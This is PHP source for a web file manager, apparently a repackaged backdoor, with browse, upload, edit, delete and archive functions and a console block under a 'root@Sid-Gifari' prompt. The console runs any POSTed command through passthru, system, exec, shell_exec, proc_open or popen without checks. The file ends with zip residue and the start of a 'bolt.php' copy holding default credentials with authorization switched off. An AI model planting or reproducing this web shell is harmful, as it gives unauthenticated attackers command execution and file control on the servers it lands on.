        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
